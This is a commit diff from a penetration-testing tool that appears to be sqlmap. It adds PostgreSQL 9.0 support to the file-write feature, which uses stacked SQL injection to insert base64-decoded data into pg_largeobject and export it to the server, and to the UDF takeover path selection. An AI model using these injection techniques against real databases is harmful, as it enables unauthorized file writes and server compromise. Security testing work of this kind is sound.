Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit fdbd8bf

Browse files
committed
initial support for PostgreSQL 9.0 - #223
1 parent f4745a9 commit fdbd8bf

3 files changed

Lines changed: 15 additions & 2 deletions

File tree

plugins/dbms/postgresql/filesystem.py

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
import os
1111

1212
from lib.core.common import randomInt
13+
from lib.core.data import kb
1314
from lib.core.data import logger
1415
from lib.core.exception import sqlmapUnsupportedFeatureException
1516
from lib.request import inject
@@ -97,7 +98,17 @@ def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
9798
#
9899
# As a matter of facts it was possible to store correctly a file
99100
# large 13776 bytes, the problem arises at next step (lo_export())
100-
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
101+
#
102+
# Inject manually into PostgreSQL system table pg_largeobject the
103+
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
104+
# not accept UPDATE into that table for some reason.
105+
self.getVersionFromBanner()
106+
banVer = kb.bannerFp["dbmsVersion"]
107+
108+
if banVer >= "9.0":
109+
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
110+
else:
111+
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
101112

102113
debugMsg = "exporting the OID %s file content to " % fileType
103114
debugMsg += "file '%s'" % dFile

plugins/dbms/postgresql/takeover.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,9 @@ def udfSetLocalPaths(self):
4545

4646
banVer = kb.bannerFp["dbmsVersion"]
4747

48-
if banVer >= "8.4":
48+
if banVer >= "9.0":
49+
majorVer = "9.0"
50+
elif banVer >= "8.4":
4951
majorVer = "8.4"
5052
elif banVer >= "8.3":
5153
majorVer = "8.3"
5.5 KB
Binary file not shown.

0 commit comments

Comments
 (0)